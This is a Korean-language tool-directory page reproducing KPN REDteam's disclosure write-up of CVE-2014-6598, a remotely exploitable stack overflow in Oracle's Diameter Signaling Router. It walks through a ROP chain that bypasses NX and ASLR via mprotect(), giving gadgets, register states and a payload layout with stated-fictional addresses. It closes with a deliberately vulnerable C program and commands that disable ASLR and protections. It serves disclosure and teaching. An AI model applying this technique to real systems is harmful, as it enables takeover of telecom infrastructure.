Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DRA_writeup — Oracle DSR 스택 버퍼 오버플로우 취약점 (DRA) CVE-2014-6598 분석 보고서 | Kitploit
도구/GitHubGitHub/kpn-ciso/dra_writeup
Exploit FrameworksVulnerability AnalysisExploitationReverse EngineeringFuzzingPapers & ResearchLearning & EducationBinary Exploitation
GitHubkpn-ciso/dra_writeup

DRA_writeup

Oracle DSR 스택 버퍼 오버플로우 취약점 (DRA) CVE-2014-6598 분석 보고서

저장소 보기
146211년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Oracle DSR의 보안 취약점

KPN CISO REDteam

KPN은 네덜란드에 위치한 통신 사업자입니다. CISO REDteam은 2013년에 도입된 KPN의 윤리적 해킹 팀입니다. 이 팀은 KPN 애플리케이션 및 서비스의 보안 테스트에 참여하여 고객 데이터가 무단 액세스, 수정 및 데이터 손실로부터 안전하게 보호되도록 합니다.

Diameter Routing Agent 배경

KPN은 네덜란드에서 가장 큰 모바일 네트워크를 운영합니다. KPN이 운영하는 4G 네트워크의 구성 요소 중 하나는 Oracle Diameter Signaling Router (DSR)라는 Diameter Routing Agent 애플리케이션입니다. Diameter Routing Agent (DRA)는 3G 또는 4G 네트워크에서 실시간 라우팅 기능을 제공하여 메시지가 네트워크 내 올바른 요소 간에 라우팅되도록 하는 기능 요소입니다. 3GPP는 증가하는 Diameter 시그널링 트래픽 볼륨과 4G LTE 네트워크의 복잡성을 해결하기 위해 DRA를 도입했습니다. DRA는 홈 네트워크의 Diameter 요소 간 트래픽을 라우팅하는 코어 라우터로 배포되거나 홈 및 로밍 네트워크의 Diameter 요소 간 트래픽을 라우팅하는 게이트웨이 라우터로 배포될 수 있습니다. 3GPP는 MME-HSS 통신 및 로밍에 사용되는 S6a 인터페이스를 포함한 여러 인터페이스에 대해 Diameter 프로토콜 사용을 명시합니다.

아래 그림은 LTE 환경에서의 일반적인 DRA 배포를 보여줍니다. 모든 요소 간 인터페이스는 S6a 인터페이스입니다.

alt text

  • PLMN = 공공 지상 이동 네트워크
  • IPX = IP 교환
  • HSS = 홈 가입자 서버
  • MME = 모바일 관리 엔터티

Oracle DSR은 CentOS Linux에서 실행되는 머신 클러스터로 DRA 기능을 수행합니다. 일반적으로 홈 LTE 네트워크의 다양한 MME 및 HSS에 연결되지만 IPX 네트워크를 통해 로밍 파트너에도 연결될 수 있습니다.

취약점

KPN REDteam은 Codenomicon DEFENSICS 플랫폼을 사용하여 Oracle DSR 애플리케이션 버전 5.0에서 두 가지 주요 취약점을 발견했습니다:

  • dsr 프로세스의 스택 버퍼 오버플로우 CVE-2014-6598
  • 이전에 보고되어 CVE-2014-0101로 수정된 SCTP 커널 충돌

첫 번째 취약점은 IPX 네트워크에 연결된 인증되지 않은 원격 공격자가 DRA와 그 구성 요소를 완전히 장악할 수 있게 합니다. 공격자가 DRA 시스템에 대한 완전한 제어권을 얻으면 DRA를 통해 라우팅되는 모든 트래픽을 모니터링하고 통신 사업자의 코어 네트워크에 더 침투할 수 있습니다.

책임 있는 공개 타임라인

  • 2014-07-24 : Oracle에 취약점 보고.
  • 2014-10-21 : 영향을 받는 DSR을 사용하는 통신사에 보안 패치 배포.
  • 2015-01-20 : Oracle이 Critical Patch Update (CPU)를 통해 공개.
  • 2015-01-29 : 이 글 공개.

결론

Oracle은 보고된 취약점을 진지하게 받아들였으며, KPN REDteam은 Oracle과 긴밀히 협력하여 이 문제를 해결했습니다. 이는 Oracle의 고객 권고에도 명시되어 있습니다:

"최근 보안 테스트에서 Oracle Diameter Signaling Router 제품 버전에서 두 가지 보안 취약점이 확인되었습니다. 네트워크를 이러한 취약점의 잠재적 악용으로부터 보호하기 위해 Oracle은 여기에 설명된 조치를 지체 없이 적용할 것을 강력히 권장합니다. Oracle은 아래에 설명된 Diameter Stack 취약점을 발견한 KPN CISO REDteam의 윤리적 해커 Frank Cozijnsen에게 감사를 표합니다. Oracle 분석 단계 동안 지원을 제공한 KPN에게 특별히 감사드립니다. 참고: 이러한 발견 사항은 2015년 1월 20일로 예정된 Oracle의 다음 CPU(Critical Patch Update)에서 공개될 예정입니다."

발견된 문제는 Oracle DSR을 사용하는 통신 사업자에게 심각한 위협이 되며, IPX 연결에 접근할 수 있는 모든 공격자가 악용할 수 있습니다.

테스트 접근 방식

KPN REDteam은 제품과 서비스를 프로덕션 네트워크에 배포하기 전에 테스트합니다. 업그레이드 프로젝트의 일환으로 KPN REDteam이 Oracle DSR 버전 5.0을 보안 관점에서 테스트했습니다. 보안 테스트에는 Codenomicon Diameter Server test Suite를 사용한 Oracle DSR DIAMETER 구현 퍼징이 포함되었습니다. 수신 서버의 DIAMETER 기능을 확인하는 데 사용되는 Capabilities Exchange Request (CER) 메시지가 초기 퍼징 대상으로 사용되었습니다. 이 메시지는 HSS와 같은 다른 시스템으로 전달되지 않고 DSR 자체에서 처리되기 때문에 선택되었습니다. 퍼징 중 DSR의 Message Processor (MP) 블레이드에서 "dsr" 프로세스가 여러 번 충돌하는 것을 확인했습니다.

기술적 세부 사항

GDB와 PEDA 플러그인을 사용하여 충돌을 분석하고 최종적으로 원격 익스플로잇을 작성했습니다. 충돌은 스택에 있는 버퍼 끝을 넘어서는 범위를 벗어난 쓰기(out-of-bounds write)로 인해 발생했습니다. 이 범위를 벗어난 쓰기는 사용자 제어 데이터로 스택을 손상시켰습니다. 또한 함수에서 반환한 후 프로그램이 반환되는 주소인 저장된 리턴 포인터도 덮어쓰였습니다. 이 리턴 포인터를 공격자가 제어할 수 있으면 임의 코드 실행으로 이어질 수 있습니다.

alt text

이 글을 작성하는 주된 이유는 KPN REDteam이 적용된 ASLR 및 NX 보호를 우회하고 작동하는 원격 코드 실행 익스플로잇을 생성한 방법을 설명하기 위함입니다. 일반적으로 ASLR 및 NX 보호 메커니즘은 공격자에게 큰 장애물이 아니지만, DSR은 64비트 CentOS에서 실행됩니다. 64비트 ASLR 보호 Linux 시스템에서 Return Oriented Programming (ROP)에 대한 실용적인 문서가 많지 않습니다.

디버깅 중 libc 라이브러리가 dsr 프로세스에서 항상 동일한 주소에 매핑되었고, 재부팅 후에도 주소가 변경되지 않았음을 확인했습니다. 다른 라이브러리는 dsr 프로세스에서 무작위 메모리 주소에 매핑되었습니다. libc 메모리 주소를 알면 libc를 ROP 가젯의 소스로 사용할 수 있습니다. 다른 옵션은 dsr 바이너리 자체를 ROP 가젯의 소스로 사용하는 것이지만, 해당 파일에서 유용한 가젯의 수는 제한적입니다.

mprotect()

NX 보호를 우회하기 위해 mprotect() 함수를 사용하여 스택을 실행 가능하게 만들고 쉘코드를 실행할 수 있습니다.

mprotect() 함수는 해당 레지스터에 다음 값이 필요합니다:

  • %RDI에는 변경할 영역의 메모리 오프셋(페이지 경계에 맞춤)이 포함됩니다.
  • %RSI에는 변경할 메모리 영역의 크기가 포함됩니다.
  • %RDX에는 권한 비트가 포함됩니다. 이 경우 0x7 -> rwx 권한입니다.

이 모든 레지스터가 설정되면 대상 버전의 libc 라이브러리에서 오프셋 0xe54b0에 있는 mprotect()를 호출할 수 있습니다.

ROP 체인

문서의 이 부분은 ROP와 그 작동 방식에 대한 지식을 가정합니다. 32비트 Linux 시스템에서 ROP 체인을 생성하는 좋은 예제는 shell-storm.org에 있습니다. "부분적인" ASLR로 인해 스택 자체의 위치는 예측할 수 없었습니다. ROP 가젯을 사용하여 스택 포인터(%RSP) 값을 %RSI 레지스터에 저장했습니다.

Step 1

%RDI 레지스터는 실행 가능하게 만들어야 할 메모리 영역의 메모리 오프셋을 포함해야 합니다.

스택 포인터를 사용하여 이 메모리 주소를 결정할 수 있으며, 메모리 페이지 경계에 맞춰야 합니다. XOR 명령어를 사용하여 이 주소의 마지막 4바이트를 0으로 만들어 페이지 경계에 맞출 수 있습니다. %RAX 레지스터에 대해 이 작업을 수행할 수 있는 가젯만 있었기 때문에, 첫 번째 단계는 스택 포인터 값을 %RAX 레지스터로 가져오는 것입니다.

KPN REDteam은 아직 실제 익스플로잇에 대한 정보를 너무 많이 공개하고 싶지 않으므로 아래 사용된 주소는 가상입니다. 그러나 명령어가 실행되어야 하는 순서에 대한 아이디어를 제공합니다.

먼저 스택 포인터가 레지스터에 저장됩니다. %RSI 레지스터는 libc 바이너리에서 값을 %RAX 레지스터에 직접 저장할 수 있는 가젯이 없기 때문에 선택되었습니다.

root@kitploit:~
The following ROP gadgets were used:
	- 0x00000039c1111111 : pop rcx ; ret 
	- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
	- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
	- 0x00000039c4444444 : mov rax, rsi ; ret


Before the overflow the registers look like this:
	%RAX	0x1e40
	%RCX 	0x3ad
	%RDX	0x0
	%RSI	0x0
	%RDI	0x49b8970
	%RSP	0x7fdb97abaaaa

The first objective is to get the value in %RSP to %RSI.

This results in the following first section of the payload: 
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]

먼저 실행되는 명령어는 "pop rcx"로, 0x00000039c2222222를 %RCX 레지스터에 로드합니다. pop 명령어는 스택 포인터를 0x00000039c3333333이 저장된 위치로 이동시킵니다. 이것이 다음 ROP 가젯의 주소가 됩니다: "push rsp ; and al, 8 ; call rcx". push rsp 명령어는 스택 포인터를 스택에 푸시하고, 그 후 이전에 %RCX 레지스터에 저장된 주소가 호출됩니다. 그러면 스택에서 두 값을 순서대로 %RDX 및 %RSI 레지스터에 로드하고 주소 0x00000039c4444444로 반환됩니다. %RSI 레지스터는 이제 이전에 저장된 스택 포인터를 포함합니다. 주소 0x00000039c4444444에 있는 ROP 가젯은 %RSI에 저장된 값을 %RAX에 복사합니다.

%RAX 레지스터에 있는 스택 포인터를 사용하여 스택의 메모리 맵에 대한 권한을 변경할 수 있습니다. 마지막 4바이트를 0으로 만들기 위해 %RAX 레지스터의 마지막 4바이트에만 적용되는 XOR 명령어를 사용합니다:

root@kitploit:~
Current values of the registers:
	%RAX 	0x7fdb97abaaaa
	%RCX 	0x00000039c2222222
	%RDX	0x7fdb97abaab2
	%RSI	0x7fdb97abaaaa
	%RDI	0x49b8970

XOR the last 4 bytes of %RAX
	0x00000039c6666666 : xor ax, ax ; ret

The registers now contain:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x7fdb97abaab2
	%RSI	0x7fdb97abaaaa
	%RDI	0x49b8970

다음 단계는 %RAX 값을 %RDI에 넣는 것입니다:

root@kitploit:~
The following ROP gadgets are used:
	- 0x00000039c6666666 : pop rdx ; ret
	- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
	- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx

The way these instructions interact with each other is similar to the previously explained instructions.

The payload now looks like this:
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]

This results in the following register content:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x00000039c7777777
	%RSI	0x7fdb97abaaaa
	%RDI	0x7fdb97ab0000

%RDI 레지스터는 이제 페이지 경계에 맞춰진 스택의 메모리 오프셋을 포함합니다.

Step 2

%RSI 레지스터는 변경해야 할 메모리 영역의 크기를 포함해야 합니다.

이것은 쉽습니다. 크기를 %RSI에 넣으면 됩니다.

root@kitploit:~
Only one gadget is used, together with the size.
	- 0x00000039c9999999 : pop rsi ; ret

The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.

The payload now looks like this:
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
	[0x00000039c9999999][0x00000000000f0000]

The registers now contain:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x00000039c7777777
	%RSI	0xf0000
	%RDI	0x7fdb97ab0000

Step 3

%RDX 레지스터는 권한 비트를 포함해야 합니다. 이 경우 0x7 -> rwx 권한입니다.

이 단계는 이전 단계와 유사합니다. 값이 스택에서 팝됩니다:

root@kitploit:~
Only one gadget is used, together with the permissions setting.
	- 0x00000039caaaaaaa: pop rdx ; ret

The permissions value is 0x7 (read, write and execute permissions)

The payload now looks like this:
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
	[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]

The registers now contain:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x00000039c7777777
	%RSI	0x7
	%RDI	0x7fdb97ab0000

이제 모든 레지스터가 스택의 이 부분을 실행 가능하게 만드는 올바른 값을 가지고 있습니다.

Step 4

mprotect() 호출

mprotect() 명령어의 주소를 페이로드에 포함해야 합니다. 이 예제에서 libc는 주소 0x0000003888c00000에 로드되므로, 스택을 실행 가능하게 만드는 페이로드는 다음과 같습니다:

root@kitploit:~
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
	[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
	[0x0000003888ce54b0]

그게 전부입니다. 익스플로잇을 완료하려면 명령어 포인터가 쉘코드를 가리키도록 해야 하지만, 위 설명을 바탕으로 쉽게 할 수 있습니다.

직접 해보기

ROP 체인을 구축하고 작동 방식을 테스트하는 것은 64비트 Linux 머신에서 쉽게 할 수 있습니다. 직접 시도하려면 취약한 C 프로그램을 작성할 수 있습니다:

root@kitploit:~
#include <string.h> 
#include <stdio.h> 

void print_name(char *Buffer)
{
     char name[64];
     strcpy(name,Buffer);
     printf("Hi, %s!\n", Buffer);
}

int main (int argc, char **argv)
{
     print_name(argv[1]);
}

Stack Smashing Protection (SSP) 없이 이 프로그램을 컴파일합니다:

root@kitploit:~
$ gcc -fno-stack-protector -o exploitme exploitme.c

테스트를 위해 일시적으로 ASLR을 비활성화합니다:

root@kitploit:~
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

이제 GDB를 실행하고 해킹을 시작합니다..

GDB에서 다음 인수를 사용하여 이 파일을 실행합니다:

root@kitploit:~
run `perl -e'print "\x41" x500'`

GDB용 PEDA 플러그인은 작업을 훨씬 쉽게 만들어 주며 ROP 가젯을 찾는 데 도움이 됩니다.

도구 다운로드